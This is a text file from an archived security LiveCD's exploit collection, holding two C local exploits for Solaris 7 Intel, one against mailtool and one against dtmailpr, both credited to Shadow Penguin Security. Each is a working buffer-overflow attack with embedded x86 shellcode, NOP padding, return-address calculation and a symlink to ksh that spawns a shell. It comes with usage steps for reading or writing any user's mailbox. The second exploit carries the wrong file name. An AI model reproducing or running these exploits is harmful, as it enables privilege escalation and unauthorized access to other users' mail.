home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / cde-mailexps.txt < prev    next >
Text File  |  2005-02-12  |  5KB  |  169 lines

  1. ex_mailtool.c
  2. -----
  3. /*=============================================================================
  4.    Solaris mailtool exploit for Solaris7 Intel Edition
  5.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  6.    Written by UNYUN  (shadowpenguin@backsection.net)
  7.    Descripton:
  8.      Local user can read/write any user's mailbox
  9.    Usage:
  10.      setenv DISPLAY yourdisply
  11.      gcc ex_mailtool.c
  12.      ./a.out /var/mail/[any user]
  13.      - Choice "exploit@localhost" mail
  14.   =============================================================================
  15. */
  16.  
  17. #include <stdio.h>
  18.  
  19. #define FAKEADR 96
  20. #define FAKEOFS 0x1000
  21. #define RETADR  84
  22. #define RETOFS  0x1224
  23. #define EXPADR  300
  24. #define NOP     0x90
  25. #define MAXBUF  2000
  26. #define DIR     "/usr/openwin/bin"
  27.  
  28. #define HEAD \
  29. "From exploit@localhost Fri Nov 26 00:01 JST 1999\n"\
  30. "Content-Type: multipart/mixed; "\
  31. "boundary=\"VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\"\n"\
  32. "Content-Length: 340\n\n"\
  33. "--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==\n"\
  34. "Content-Type: image/%s; name=\"test.gif\"\n"\
  35. "Content-Disposition: attachment;\n"\
  36. " filename=\"test.gif\"\n"\
  37. "Content-Transfer-Encoding: base64\n\n"\
  38. "IA==\n\n"\
  39. "--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--\n\n"
  40.  
  41. unsigned long get_sp(void)
  42. {
  43.   __asm__(" movl %esp,%eax ");
  44. }
  45.  
  46. char exploit_code[2000] =
  47. "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
  48. "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
  49. "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
  50. "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
  51. "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
  52. "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
  53. "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
  54. "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
  55. "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
  56. "\x04\xe8\xc9\xff\xff\xff/tmp/xx";
  57.  
  58. main(int argc, char *argv[])
  59. {
  60.     static char     buf[MAXBUF];
  61.     FILE        *fp;
  62.     unsigned int    i,ip,sp;
  63.  
  64.     if (argc!=2){
  65.         printf("usage : %s mailbox\n",argv[0]);
  66.         exit(1);
  67.     }
  68.     putenv("LANG=");
  69.     sp=get_sp();
  70.     system("ln -s /bin/ksh /tmp/xx");
  71.     printf("esp  = 0x%x\n",sp);
  72.     memset(buf,NOP,MAXBUF);
  73.     buf[MAXBUF-1]=0;
  74.  
  75.     ip=sp-FAKEOFS;
  76.     printf("fake = 0x%x\n",ip);
  77.     buf[FAKEADR  ]=ip&0xff;
  78.     buf[FAKEADR+1]=(ip>>8)&0xff;
  79.     buf[FAKEADR+2]=(ip>>16)&0xff;
  80.     buf[FAKEADR+3]=(ip>>24)&0xff;
  81.     ip=sp-RETOFS;
  82.     printf("eip  = 0x%x\n",ip);
  83.     buf[RETADR  ]=ip&0xff;
  84.     buf[RETADR+1]=(ip>>8)&0xff;
  85.     buf[RETADR+2]=(ip>>16)&0xff;
  86.     buf[RETADR+3]=(ip>>24)&0xff;
  87.  
  88.     strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));
  89.  
  90.     if ((fp=fopen(argv[1],"ab"))==NULL){
  91.         printf("Can not write '%s'\n",argv[1]);
  92.         exit(1);
  93.     }
  94.     fprintf(fp,HEAD,buf);
  95.     fclose(fp);
  96.     printf("Exploit mail has been added.\n");
  97.     printf("Choice \"exploit@localhost\" mail.\n");
  98.     sprintf(buf,"cd %s; mailtool",DIR);
  99.     system(buf);
  100. }
  101.  
  102.  
  103. ex_mailtool.c
  104. -----
  105. /*=============================================================================
  106.    Solaris dtmailpr exploit for Solaris7 Intel Edition
  107.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  108.    Written by UNYUN  (shadowpenguin@backsection.net)
  109.    Descripton:
  110.      Local user can read/write any user's mailbox
  111.   =============================================================================
  112. */
  113.  
  114. #include <stdio.h>
  115.  
  116. #define RETADR  1266
  117. #define RETOFS  0x1d88
  118. #define EXPADR  300
  119. #define NOP 0x90
  120. #define MAXBUF  2000
  121.  
  122. unsigned long get_sp(void)
  123. {
  124.   __asm__(" movl %esp,%eax ");
  125. }
  126.  
  127. char exploit_code[2000] =
  128. "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
  129. "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
  130. "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
  131. "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
  132. "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
  133. "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
  134. "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
  135. "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
  136. "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
  137. "\x04\xe8\xc9\xff\xff\xff/tmp/xx";
  138.  
  139. main()
  140. {
  141.     static char     buf[MAXBUF+1000];
  142.     FILE        *fp;
  143.     unsigned int    i,ip,sp;
  144.  
  145.     putenv("LANG=");
  146.     sp=get_sp();
  147.     system("ln -s /bin/ksh /tmp/xx");
  148.     printf("esp  = 0x%x\n",sp);
  149.     memset(buf,NOP,MAXBUF);
  150.     ip=sp-RETOFS;
  151.     printf("eip  = 0x%x\n",ip);
  152.     buf[RETADR  ]=ip&0xff;
  153.     buf[RETADR+1]=(ip>>8)&0xff;
  154.     buf[RETADR+2]=(ip>>16)&0xff;
  155.     buf[RETADR+3]=(ip>>24)&0xff;
  156.     strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));
  157.     buf[MAXBUF-1]=0;
  158.     execl("/usr/dt/bin/dtmailpr","dtmailpr","-f",buf,0);
  159. }
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.